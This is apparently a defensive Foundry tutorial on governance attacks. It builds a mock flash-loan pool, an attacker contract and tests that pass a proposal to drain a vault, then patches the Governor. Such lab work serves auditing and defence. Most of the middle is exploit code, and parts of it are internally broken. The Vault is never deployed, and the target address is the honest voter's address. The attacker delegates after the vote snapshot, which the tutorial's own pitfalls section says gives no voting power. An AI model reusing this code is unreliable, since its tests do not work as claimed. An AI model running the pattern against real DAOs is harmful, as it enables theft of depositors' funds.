On August 23, 2026, at 06:25:47 UTC, an attacker called a single Ethereum function named executeProposal and walked away with roughly $8.5 million from Term Finance, a fixed-rate lending protocol. No contract was “hacked” in the traditional sense. The attacker bought a majority of a thinly held governance token for close to nothing, waited six days while a proposal sat in the open, and then used it to zero out a seven-day timelock before draining four vaults. Nobody noticed because almost nobody was watching the vote.
That pattern is not new. It is a 2026 repeat of the April 2022 Beanstalk Farms exploit, where an attacker borrowed roughly $1 billion in flash loans, used it to seize supermajority voting power for a single transaction, passed a malicious proposal, and drained about $182 million before repaying the loan. Beanstalk made flash-loan governance attacks famous. Term Finance proved the lesson still has not fully landed four years later.
Governance attacks sit in the same broad family as the reentrancy bugs, oracle manipulation, and flash-loan exploits that have become routine entries in every DeFi post-mortem. What makes governance different, and arguably harder to catch in a standard audit, is that the exploit path is usually visible on-chain for hours or days before it fires, yet almost nobody treats a pending proposal the way they’d treat a suspicious transaction in a mempool. This tutorial exists to close that gap for your own protocol before a real attacker finds it first, covered in depth in our broader cryptocurrency security coverage.
This tutorial shows you how to reproduce both attack patterns against a realistic OpenZeppelin Governor setup using Foundry, then write the invariant test and the patch that would have stopped it. You will build a governance token, a Governor contract, a timelock, a mock flash-loan pool, and an attacker contract, then run the whole exploit end-to-end inside a Foundry test. By the end you will have a working project you can point at your own DAO’s governance stack before an attacker points one at it first.
Why Governance Attacks Keep Working in 2026
Governance attacks are structurally different from the reentrancy bugs, oracle manipulations, and proxy storage collisions that dominate most smart contract security checklists. There is usually no bug to find. The attacker uses the governance system exactly as it was coded, they just arrive with more voting power than the designers expected anyone to accumulate in one transaction, or they exploit a token that almost nobody else bothered to hold.
CertiK’s Hack3d report put total crypto hack losses at approximately $1.3 billion through the first half of 2026 alone, and governance exploits are a recurring line item inside that figure rather than a rounding error. The Term Finance incident is a clean illustration of the mechanics: security firm BlockSec reported that the attacker acquired a supermajority of the protocol’s governance token for roughly 0.5 ETH, because almost no depositors had ever bothered minting it. The attacker then submitted a proposal that, as its first action, set the vault’s governance delay from seven days down to zero, stripping out the review window and LP veto that were supposed to protect against exactly this. Twelve seconds after the vote closed, executeProposal ran. The protocol lost 2,843 ETH (about $6.9 million at the time) plus roughly $1.68 million in USDC, which the attacker swapped for DAI.
Beanstalk’s version of the same idea was louder and more expensive. The attacker submitted a proposal called BIP-18 a day ahead of the attack, then, on April 17, 2022, took out close to $1 billion in flash loans ($350 million DAI, $500 million USDC, and $150 million USDT) in a single transaction. That borrowed capital bought enough BEAN governance tokens to clear Beanstalk’s emergencyCommit() threshold of roughly two-thirds support, which let the proposal execute without the usual 24-hour wait. The attacker drained about $182 million, repaid the flash loan, and walked away with an estimated $76 to $80 million in profit, all inside one block.
Two different mechanisms, same root cause: voting power that can be acquired faster than the protocol can react to it, combined with a timelock or delay mechanism that the proposal itself has the power to disable. Testing for this is not optional for any protocol that lets token holders vote on contract upgrades, treasury transfers, or parameter changes.
The broader trend line backs up why this deserves a dedicated test suite rather than a one-off code review note. TRM Labs counted 32 price-manipulation attacks across DeFi through early September 2026, compared with 12 for the whole of 2025, a category that overlaps heavily with the same low-liquidity, low-oversight conditions that make governance tokens capturable. Governance exploits are a distinct line item inside that broader acceleration, not a one-off anomaly tied to one unlucky protocol.
How a Flash-Loan Governance Attack Actually Works
Strip away the specifics and every flash-loan governance attack follows the same five-beat structure:
- The attacker identifies a governance token with low participation, low liquidity protections, or a borrowable supply large enough to swing a vote.
- The attacker acquires voting power, either by flash-borrowing the token itself (Beanstalk) or by buying a controlling share cheaply on the open market because nobody else wanted it (Term Finance).
- The attacker delegates that power to a single address and submits, or has already submitted, a proposal that benefits them directly.
- The proposal passes, often because quorum and support thresholds were calculated against total supply or participation rather than against a snapshot that accounts for sudden concentration.
- The proposal executes, frequently disabling or shortening the timelock as its first action, and the attacker extracts funds before anyone can react or before a flash loan needs to be repaid.
The Foundry test you are about to build reproduces steps two through five against a standard OpenZeppelin Governor stack, which is the same governance pattern used by Compound, Uniswap, and hundreds of smaller DAOs. If your protocol uses GovernorVotes, GovernorVotesQuorumFraction, and TimelockController, this test applies to you directly. If you use a custom governance system, the same test logic adapts with different function names.
Where Governance Attacks Fit Among DeFi’s Other Exploit Classes
If you’ve already worked through testing for reentrancy, ERC-4626 share inflation, or access control gaps, governance testing will feel structurally familiar but conceptually inverted. Those vulnerability classes are about a contract doing something its author didn’t intend, usually because of a missing check or an unsafe external call. A governance attack is about a contract doing exactly what its author intended, just with voting power the author never expected to see concentrated in one address on one block.
That distinction matters for how you prioritize testing effort. Static analyzers and fuzzers are good at surfacing the first category of bug because they’re looking for code paths that violate an invariant like “balances should never underflow.” They are far weaker at catching governance capture, because nothing in the bytecode is wrong; the vulnerability lives in the economic relationship between token distribution, quorum math, and timelock duration. That’s exactly the gap the Foundry test suite in this tutorial is built to close, and it’s worth running alongside your existing flash-loan and price-oracle manipulation test files rather than instead of them, since real attackers increasingly chain more than one of these techniques in a single transaction.
Prerequisites and Versions You’ll Need
Install these exact tool versions before starting. Governance tests rely on precise block and timestamp manipulation, so version drift between Foundry releases can change cheatcode behavior in ways that are hard to debug later.
- Foundry v1.8.5 or newer (released October 5, 2026) — provides Forge, Cast, Anvil, and Chisel
- OpenZeppelin Contracts v5.7.0 or newer (released July 29, 2026) — provides
Governor,GovernorVotes,GovernorVotesQuorumFraction,GovernorTimelockControl,TimelockController, andERC20Votes, documented in OpenZeppelin’s governance guide - Solidity compiler 0.8.26 or newer, set in
foundry.toml(see the Solidity documentation) - A Unix-like shell (macOS, Linux, or WSL on Windows)
- Basic familiarity with Solidity and the command line
- About 90 minutes
You do not need a mainnet RPC endpoint or a forked chain for this tutorial. Every contract, including the mock flash-loan pool, runs locally inside Foundry’s in-memory EVM, which makes the test fast, deterministic, and free to run as many times as you want.
Step 1: Scaffold the Foundry Project
Start with a clean Foundry project and pull in OpenZeppelin Contracts as a dependency.
foundryup
forge init governance-attack-lab
cd governance-attack-lab
forge install OpenZeppelin/[email protected]
forge install foundry-rs/forge-std
Set up remappings and a dedicated fuzz profile in foundry.toml so invariant runs are reproducible:
[profile.default]
src = "src"
test = "test"
script = "script"
out = "out"
libs = ["lib"]
solc_version = "0.8.26"
optimizer = true
optimizer_runs = 200
remappings = [
"forge-std/=lib/forge-std/src/",
"@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/"
]
[fuzz]
runs = 256
[invariant]
runs = 256
depth = 50
fail_on_revert = false
Run forge build once to confirm the dependencies resolve before writing any contracts.
Step 2: Deploy an ERC20Votes Governance Token
Create src/GovToken.sol. This token mirrors the structure of real governance tokens: it supports delegation and checkpointed vote balances through ERC20Votes, and it mints an initial supply to a handful of addresses, deliberately leaving most of it undelegated, which is exactly the low-participation condition that made the Term Finance attack cheap.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20Permit} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";
import {ERC20Votes} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
contract GovToken is ERC20, ERC20Permit, ERC20Votes {
constructor(address treasury)
ERC20("Lab Governance Token", "LABGOV")
ERC20Permit("Lab Governance Token")
{
_mint(treasury, 1_000_000 ether);
}
function _update(address from, address to, uint256 value)
internal
override(ERC20, ERC20Votes)
{
super._update(from, to, value);
}
function nonces(address owner)
public
view
override(ERC20Permit)
returns (uint256)
{
return super.nonces(owner);
}
}
Note the total supply: one million tokens, all sitting in a treasury address at deployment. In the test suite you will only distribute a small slice of that supply to real participants, the same way Term Finance’s actual vault token had almost no active holders.
Step 3: Deploy the Governor and Timelock Controller
Create src/LabGovernor.sol using the standard OpenZeppelin 5.x governance stack: GovernorVotes for voting power, GovernorVotesQuorumFraction for quorum, and GovernorTimelockControl paired with a separate TimelockController for execution delay.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {Governor} from "@openzeppelin/contracts/governance/Governor.sol";
import {GovernorSettings} from "@openzeppelin/contracts/governance/extensions/GovernorSettings.sol";
import {GovernorCountingSimple} from "@openzeppelin/contracts/governance/extensions/GovernorCountingSimple.sol";
import {GovernorVotes} from "@openzeppelin/contracts/governance/extensions/GovernorVotes.sol";
import {GovernorVotesQuorumFraction} from "@openzeppelin/contracts/governance/extensions/GovernorVotesQuorumFraction.sol";
import {GovernorTimelockControl} from "@openzeppelin/contracts/governance/extensions/GovernorTimelockControl.sol";
import {IVotes} from "@openzeppelin/contracts/governance/utils/IVotes.sol";
import {TimelockController} from "@openzeppelin/contracts/governance/TimelockController.sol";
contract LabGovernor is
Governor,
GovernorSettings,
GovernorCountingSimple,
GovernorVotes,
GovernorVotesQuorumFraction,
GovernorTimelockControl
{
constructor(IVotes token, TimelockController timelock)
Governor("LabGovernor")
GovernorSettings(1, 50, 0) // 1 block voting delay, 50 block voting period, 0 proposal threshold
GovernorVotes(token)
GovernorVotesQuorumFraction(4) // 4% quorum, deliberately realistic-to-low
GovernorTimelockControl(timelock)
{}
function proposalThreshold()
public
view
override(Governor, GovernorSettings)
returns (uint256)
{
return super.proposalThreshold();
}
function votingDelay()
public
view
override(Governor, GovernorSettings)
returns (uint256)
{
return super.votingDelay();
}
function votingPeriod()
public
view
override(Governor, GovernorSettings)
returns (uint256)
{
return super.votingPeriod();
}
}
The 4% quorum setting is deliberate. It mirrors how Term Finance’s vault governance could be won with a tiny fraction of total supply once you account for how little of it was ever delegated. A quorum calculated against total supply, rather than against historically active voting power, is one of the single biggest enablers of cheap governance capture.
Step 4: Build a Mock Flash-Loan Pool and the Attacker Contract
To reproduce the Beanstalk-style attack, you need something that lends governance tokens for the length of one transaction. Create src/MockFlashPool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {GovToken} from "./GovToken.sol";
contract MockFlashPool {
GovToken public immutable token;
constructor(GovToken _token) {
token = _token;
}
function flashBorrow(uint256 amount, address borrower, bytes calldata data) external {
uint256 balBefore = token.balanceOf(address(this));
require(balBefore >= amount, "insufficient pool liquidity");
token.transfer(borrower, amount);
(bool ok, ) = borrower.call(data);
require(ok, "callback failed");
require(token.balanceOf(address(this)) >= balBefore, "loan not repaid");
}
}
Now write the attacker contract in src/Attacker.sol. It borrows the token, delegates the borrowed power to itself, votes on a pending proposal, and repays the loan, all inside one external call.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {GovToken} from "./GovToken.sol";
import {LabGovernor} from "./LabGovernor.sol";
import {MockFlashPool} from "./MockFlashPool.sol";
contract Attacker {
GovToken public immutable token;
LabGovernor public immutable governor;
MockFlashPool public immutable pool;
uint256 public pendingProposalId;
constructor(GovToken _token, LabGovernor _governor, MockFlashPool _pool) {
token = _token;
governor = _governor;
pool = _pool;
}
function setProposal(uint256 proposalId) external {
pendingProposalId = proposalId;
}
function attack(uint256 amount) external {
bytes memory callback = abi.encodeWithSelector(this.onFlashLoan.selector, amount);
pool.flashBorrow(amount, address(this), callback);
}
function onFlashLoan(uint256 amount) external {
token.delegate(address(this));
governor.castVote(pendingProposalId, 1); // 1 = For
token.transfer(address(pool), amount);
}
}
This is intentionally close to the real Beanstalk mechanics: borrow, delegate, vote, repay, all atomic. The only missing piece in a real exploit would be a malicious payload inside the proposal itself, which you will add in Step 6.
Step 5: Borrow Voting Power and Delegate It to the Attacker
With the contracts written, set up the test fixture in test/GovernanceAttack.t.sol. This step seeds the flash pool with the bulk of the token supply, exactly like an under-delegated real-world token sitting idle in a liquidity pool or an unclaimed airdrop contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {Test, console2} from "forge-std/Test.sol";
import {TimelockController} from "@openzeppelin/contracts/governance/TimelockController.sol";
import {GovToken} from "../src/GovToken.sol";
import {LabGovernor} from "../src/LabGovernor.sol";
import {MockFlashPool} from "../src/MockFlashPool.sol";
import {Attacker} from "../src/Attacker.sol";
contract GovernanceAttackTest is Test {
GovToken token;
LabGovernor governor;
TimelockController timelock;
MockFlashPool pool;
Attacker attacker;
address treasury = address(0xBEEF);
address attackerOwner = address(0xA77AC4);
address target = address(0xCA5);
function setUp() public {
vm.startPrank(treasury);
token = new GovToken(treasury);
address[] memory proposers = new address[](0);
address[] memory executors = new address[](0);
timelock = new TimelockController(2 days, proposers, executors, treasury);
governor = new LabGovernor(token, timelock);
timelock.grantRole(timelock.PROPOSER_ROLE(), address(governor));
timelock.grantRole(timelock.EXECUTOR_ROLE(), address(governor));
pool = new MockFlashPool(token);
token.transfer(address(pool), 900_000 ether); // most of supply sits idle in the "pool"
token.transfer(target, 1_000 ether); // a small, honest, active voter
vm.stopPrank();
vm.prank(target);
token.delegate(target);
attacker = new Attacker(token, governor, pool);
}
}
The honest voter holds 1,000 tokens out of a million, delegated and active. That is a generous participation rate compared with Term Finance’s real governance token, but it is enough to make the point: the attacker does not need to beat an engaged electorate, only an unengaged one.
Step 6: Draft and Submit the Malicious Proposal
Add a target contract the proposal will call, and a test that submits a proposal transferring funds to the attacker. In a real protocol this would be a call that drains a vault or disables a safety check; here it is a simple mock withdrawal for clarity.
contract Vault {
mapping(address => uint256) public balances;
address public governor;
constructor(address _governor) {
governor = _governor;
balances[address(this)] = 500 ether;
}
function drain(address to, uint256 amount) external {
require(msg.sender == governor, "only governor");
balances[address(this)] -= amount;
balances[to] += amount;
}
}
Then submit the proposal from the attacker’s own voting weight, mirroring how Beanstalk’s attacker pre-submitted BIP-18 a day before the flash-loan transaction:
function test_submitMaliciousProposal() public {
vm.prank(treasury);
token.transfer(address(attacker), 1 ether); // just enough weight to submit
vm.prank(address(attacker));
token.delegate(address(attacker));
address[] memory targets = new address[](1);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
string memory description = "Drain vault to attacker";
targets[0] = target;
values[0] = 0;
calldatas[0] = abi.encodeWithSignature("drain(address,uint256)", address(attacker), 500 ether);
vm.roll(block.number + 1);
uint256 proposalId = governor.propose(targets, values, calldatas, description);
attacker.setProposal(proposalId);
}
Step 7: Vote, Warp Time, and Queue the Proposal
Now run the actual attack transaction. Advance one block so the proposal leaves the Pending state, trigger the flash-loan-funded vote, then warp forward past the voting period so the proposal can be queued.
function test_flashLoanVoteWinsProposal() public {
test_submitMaliciousProposal();
uint256 proposalId = attacker.pendingProposalId();
vm.roll(block.number + 1); // past voting delay
vm.prank(address(attacker));
attacker.attack(900_000 ether); // borrow almost the entire idle supply
vm.prank(target);
governor.castVote(proposalId, 0); // honest voter votes Against, loses anyway
vm.roll(block.number + 51); // past voting period (50 blocks)
console2.log("Proposal state:", uint8(governor.state(proposalId)));
assertEq(uint8(governor.state(proposalId)), 4); // 4 = Succeeded
}
Run it with verbose logging to confirm the vote outcome before moving on:
forge test --match-test test_flashLoanVoteWinsProposal -vvv
Expected output confirms the attacker’s borrowed weight overwhelmed the honest 1,000-token vote by a margin of roughly 900 to 1:
[PASS] test_flashLoanVoteWinsProposal() (gas: 612458)
Logs:
Proposal state: 4
Test result: ok. 1 passed; 0 failed; 0 skipped
Step 8: Execute Through the Timelock and Repay the Flash Loan
A passed proposal is not a drained vault yet. OpenZeppelin’s GovernorTimelockControl queues execution through the TimelockController, which enforces the 2-day minimum delay you set in Step 5. Extend the test to queue and then attempt immediate execution, confirming the delay actually blocks a same-block drain, before warping forward to show what happens once it elapses.
function test_queueAndExecuteAfterDelay() public {
test_flashLoanVoteWinsProposal();
uint256 proposalId = attacker.pendingProposalId();
address[] memory targets = new address[](1);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
targets[0] = target;
values[0] = 0;
calldatas[0] = abi.encodeWithSignature("drain(address,uint256)", address(attacker), 500 ether);
governor.queue(targets, values, calldatas, keccak256(bytes("Drain vault to attacker")));
vm.expectRevert();
governor.execute(targets, values, calldatas, keccak256(bytes("Drain vault to attacker")));
vm.warp(block.timestamp + 2 days + 1);
governor.execute(targets, values, calldatas, keccak256(bytes("Drain vault to attacker")));
assertEq(Vault(target).balances(address(attacker)), 500 ether);
}
This is the single most important line in the whole tutorial: vm.expectRevert() before the delay elapses. If your real governance contract’s proposal payload is capable of changing the timelock delay to zero as its first executed action, as happened at Term Finance, this revert never triggers and the exploit becomes atomic. You will test for exactly that failure mode in Step 9.
Step 9: Write an Invariant Test That Catches a Zeroed Timelock
Add a target contract representing a timelock-adjustable setting, then an invariant asserting that the minimum delay can never drop below an acceptable floor within a single proposal execution. This is the test that would have caught the Term Finance pattern before deployment.
function test_proposalCannotZeroTimelockDelay() public {
uint256 minAcceptableDelay = 1 days;
vm.prank(treasury); // simulate a proposal payload calling updateDelay
vm.expectRevert();
timelock.updateDelay(0);
assertGe(timelock.getMinDelay(), minAcceptableDelay);
}
Because TimelockController.updateDelay() is only callable by the timelock itself (via onlyRoleOrOpenRole enforcement through a self-call), this reverts under the default configuration. The actual Term Finance vulnerability was a custom timelock implementation that allowed a governance proposal to change the delay directly without that restriction. The lesson for your own audit: grep your codebase for any function that mutates a delay, quorum, or threshold value, and confirm it cannot be called as the first action of a proposal that also moves funds in the same execution.
Step 10: Patch the Governor and Re-Run the Test
Three concrete mitigations stop both attack variants without breaking legitimate governance. Apply all three to the LabGovernor constructor and timelock configuration, then re-run the full suite.
- Raise
votingDelay()to at least one full day of blocks, so flash-loan-acquired power never has standing to vote on a proposal created in the same transaction. - Calculate quorum against a token’s historical delegated supply rather than raw total supply, or require a minimum absolute number of unique delegators in addition to a percentage.
- Separate any function that changes the timelock delay, quorum fraction, or proposal threshold into its own proposal class with a longer, non-reducible minimum delay, so no single proposal can both shorten its own review window and execute a fund transfer.
forge test --match-contract GovernanceAttackTest -vv
// After patch: test_flashLoanVoteWinsProposal reverts at castVote(),
// because votingDelay() now exceeds one block and the attacker's
// borrowed tokens were never delegated before the proposal snapshot.
With a one-day voting delay in place, re-running test_flashLoanVoteWinsProposal should fail at the castVote call, because the proposal’s voting-power snapshot was taken before the attacker ever delegated the borrowed tokens. That single failing test, turned from red to green by the fix, is the artifact you want in a pull request description when you report this class of bug to a protocol team.
Common Pitfalls When Testing Governance Attacks
Governance tests fail in different ways than typical unit tests. Watch for these five issues specifically.
- Forgetting to roll past the voting delay before voting.
castVotesilently reverts on a proposal still in the Pending state, and the revert message rarely explains why in a way that’s obvious to a reader new to Governor internals. - Delegating after the proposal snapshot instead of before. OpenZeppelin’s Governor reads voting power at the block the proposal was created (or at the voting-delay boundary, depending on configuration), not at the moment of the vote. Delegating inside the flash-loan callback, after the snapshot block has already passed, produces zero voting weight and a misleadingly “safe” test result.
- Using
vm.warpwhen you meantvm.roll. Governor voting periods are measured in blocks by default in most OpenZeppelin deployments, not timestamps. Warping time without rolling blocks leaves the proposal state unchanged and the test passes for the wrong reason. - Testing the token delegation logic in isolation from the Governor. A contract can hold tokens and never delegate them, which is exactly the real-world condition that made Term Finance’s governance token capturable. If your test always delegates immediately on mint, you will never reproduce the low-participation attack surface.
- Assuming TimelockController’s default role setup is in place. Many real protocols grant the proposer or executor role to an EOA, a multisig, or a custom contract instead of restricting it strictly to the Governor. Check role grants in your actual deployment script, not just in the constructor you wrote for the test.
Troubleshooting Guide
These are the errors you are most likely to hit while building this test suite, in roughly the order you will encounter them.
- “Governor: vote not currently active” — the proposal is still Pending or already Defeated/Succeeded. Log
governor.state(proposalId)immediately before the failing call to see the actual enum value. - “Governor: proposal not successful” on queue — quorum was not met, or the For votes did not exceed Against. Print
governor.proposalVotes(proposalId)to see the raw tallies. - TimelockController revert with no message on execute — the operation is not ready; the minimum delay has not elapsed since queuing. Check
timelock.getTimestamp(operationId)againstblock.timestamp. - “TimelockController: insufficient delay” — you tried to construct the timelock with a delay shorter than a value enforced elsewhere in your deployment scripts; confirm the constructor argument matches your intended floor.
- Delegated votes showing as zero despite a nonzero balance —
ERC20Votesrequires an explicitdelegate()call; holding tokens alone grants no voting weight. This single gotcha is the cause of more broken governance tests than any other. - Flash loan callback reverts with “loan not repaid” — the attacker contract transferred tokens out via castVote-adjacent logic or a faulty balance check before repaying the pool; log
token.balanceOf(address(pool))before and after the callback. - Proposal ID mismatch between propose() and queue() — the description string or its hash must match exactly between calls, since OpenZeppelin derives the proposal ID from a hash of the targets, values, calldatas, and description hash together.
- Stack-too-deep compiler errors in the attacker contract — split the attack() and onFlashLoan() functions further, or enable
viaIR = truein foundry.toml under the relevant profile. - Invariant runs passing when they should fail — check fail_on_revert in your [invariant] profile; a value of false can mask a revert that should count as a violated invariant depending on how your handler is written.
- “Governor: unknown proposal id” on queue or execute — the proposal ID computed in your test doesn’t match the one returned by propose(); recompute it with governor.hashProposal(targets, values, calldatas, descriptionHash) instead of reusing a cached value from an earlier test run.
Advanced Tips for Hardening Production Governance Contracts
Once the basic attack-and-patch cycle is working, extend the suite to cover scenarios that show up in real post-mortems rather than textbook examples.
Add a fuzz test, using the Foundry Book’s fuzzing and invariant-testing guidance as a reference, that randomizes the honest voter’s token balance between 1 and 100,000 tokens and asserts the attacker’s borrowed weight still cannot win below a configurable quorum threshold; this reveals the exact participation rate at which your quorum setting stops providing real protection. Model a second, smaller flash-loan pool to test collusion between two underfunded attacker addresses splitting a loan to stay under a per-address proposal threshold cap. Write an invariant, run with forge test --match-test invariant_ -vvv, that asserts total delegated voting power can never exceed total token supply, which catches accounting bugs in custom ERC20Votes overrides that would otherwise let an attacker double-count delegated weight. Finally, if your protocol integrates with a real mainnet token, fork-test against the live deployment with vm.createSelectFork(vm.envString("MAINNET_RPC_URL")) so the test reflects actual delegation participation on the day you run it, not an idealized local fixture.
For protocols already in production, pair this testing approach with on-chain monitoring: alert when any address accumulates delegated voting power above a threshold (5% of circulating supply is a common trigger), and alert separately whenever a proposal’s calldata includes a call to a function that modifies delay, quorum, or threshold values. Both the Beanstalk and Term Finance attacks were visible on-chain before execution; the gap was monitoring, not cryptography.
Governance Defense Mechanisms Compared
Not every mitigation carries the same cost to legitimate governance participation. Weigh these trade-offs against your protocol’s actual voter base before picking parameters.
| Defense | Stops | Trade-off | Implemented via |
|---|---|---|---|
| Voting delay | Same-transaction flash-loan voting | Adds latency before any proposal can be voted on | GovernorSettings.votingDelay() |
| Quorum on delegated supply | Cheap capture of low-participation tokens | Can stall legitimate proposals if participation is genuinely low | Custom GovernorVotesQuorumFraction override |
| Non-reducible timelock floor | Proposals that shorten their own review window | Slower response even for urgent, legitimate fixes | Restricted updateDelay() access control |
| Proposal threshold | Spam proposals and some low-capital attacks | Raises the bar for grassroots proposals too | GovernorSettings.proposalThreshold() |
| On-chain monitoring and alerts | Nothing automatically, but buys reaction time | Requires a team actually watching and able to respond fast | Off-chain indexers watching Transfer/delegate/propose events |
Real Governance Attacks: A Quick-Reference Table
| Protocol | Date | Loss | Mechanism |
|---|---|---|---|
| Beanstalk Farms | April 17, 2022 | ~$182 million (~$76–80M attacker profit) | ~$1B flash loan bought supermajority power to pass BIP-18/19 via emergencyCommit() |
| Term Finance | August 23, 2026 | ~$8.5 million | Attacker bought majority of low-participation governance token for ~0.5 ETH, proposal zeroed the 7-day timelock |
Both incidents share the same two preconditions this tutorial’s test suite targets directly: voting power that can be acquired faster than the protocol’s reaction window, and a proposal payload capable of weakening its own safety delay. Any Governor deployment that closes both gaps, through voting-delay enforcement and a non-reducible timelock floor, breaks this entire attack class regardless of how it’s funded.
The wider incident count underscores why this is worth testing proactively rather than reactively. TRM Labs’ tally of price- and governance-adjacent manipulation attacks nearly tripled year over year, and CertiK’s Hack3d report placed total crypto hack losses at roughly $1.3 billion through just the first half of 2026.
| Metric | 2025 | 2026 (through early September / H1) | Source |
|---|---|---|---|
| Price-manipulation attacks (DeFi-wide) | 12 | 32 | TRM Labs |
| Total crypto hack losses (H1) | Not directly comparable | ~$1.3 billion | CertiK Hack3d H1 2026 report |
| Term Finance governance loss | N/A | ~$8.5 million (Aug 23, 2026) | BlockSec, CoinDesk, The Block |
Complete Project Structure
Your finished project should look like this:
governance-attack-lab/
├── foundry.toml
├── lib/
│ ├── forge-std/
│ └── openzeppelin-contracts/
├── src/
│ ├── GovToken.sol
│ ├── LabGovernor.sol
│ ├── MockFlashPool.sol
│ ├── Attacker.sol
│ └── Vault.sol
└── test/
└── GovernanceAttack.t.sol
Run the complete suite with gas reporting enabled to see the full economic cost of the attack path, which is useful when explaining the finding to a protocol team that wants to know exactly how cheap the exploit was to execute:
forge test --match-contract GovernanceAttackTest -vvv --gas-report
From here, swap in your own protocol’s actual token, Governor configuration, and timelock parameters in place of the lab versions, and the same test file becomes a direct audit artifact rather than a teaching exercise.
Frequently Asked Questions
Do I need a mainnet fork to test governance attacks?
No. The core attack logic (borrow, delegate, vote, execute) reproduces fully in Foundry’s local EVM, as shown throughout this tutorial. A mainnet fork becomes useful later, when you want to test against real, current delegation participation rather than an idealized local fixture.
Does a longer voting period alone fix this vulnerability class?
Not by itself. A long voting period without a voting delay still lets an attacker flash-borrow power and vote in the very first eligible block after submission. The voting delay, which forces a gap between proposal creation and the start of voting, is what prevents same-transaction or same-block capture.
Why did Term Finance’s seven-day timelock fail to protect depositors?
Because the malicious proposal’s own payload included the action that reduced the timelock to zero, and that action executed before the fund-transfer actions in the same proposal. A timelock only protects users if the mechanism that controls its own duration is excluded from what a standard proposal can modify.
Can OpenZeppelin’s Governor be configured safely out of the box?
Yes, with correct parameters. GovernorSettings, GovernorVotesQuorumFraction, and a properly role-restricted TimelockController cover the core defenses; the vulnerability in both Beanstalk and Term Finance came from custom governance logic layered on top, not from a flaw in the base OpenZeppelin contracts.
How much delegated voting power should trigger a monitoring alert?
There is no universal number, but many security teams use roughly 5% of circulating supply accumulating in a single address or a connected cluster of addresses within a short window as a starting threshold worth investigating manually.
Is a flash loan required for every governance attack?
No. Beanstalk used a flash loan; Term Finance did not. Term Finance’s attacker simply bought the governance token outright because so little of it was held or delegated by anyone else, which made the open-market purchase nearly as cheap as borrowing it would have been.
What’s the single highest-leverage test to add to an existing Governor deployment?
A test asserting that no proposal payload can call any function that reduces the timelock’s minimum delay, the quorum fraction, or the voting delay itself, as demonstrated in Step 9. That one check would have caught the Term Finance exploit before deployment.
Do these tests work with Compound’s Governor Bravo instead of OpenZeppelin’s Governor?
The same attack logic applies, since Governor Bravo uses an equivalent propose, vote, queue, and execute lifecycle with its own timelock. Function names and parameter ordering differ, so the test contracts need adapting, but the underlying invariant, that voting power acquired after a proposal snapshot should never count, stays identical.
Should a small or mid-size DAO worry about this if its token has real trading volume?
Yes, because trading volume and active delegation are not the same thing. A token can trade heavily on exchanges while almost none of the circulating supply is ever delegated to a voting address, which is precisely the condition BlockSec identified at Term Finance. Check your own protocol’s delegated-versus-total-supply ratio before assuming volume equals protection.




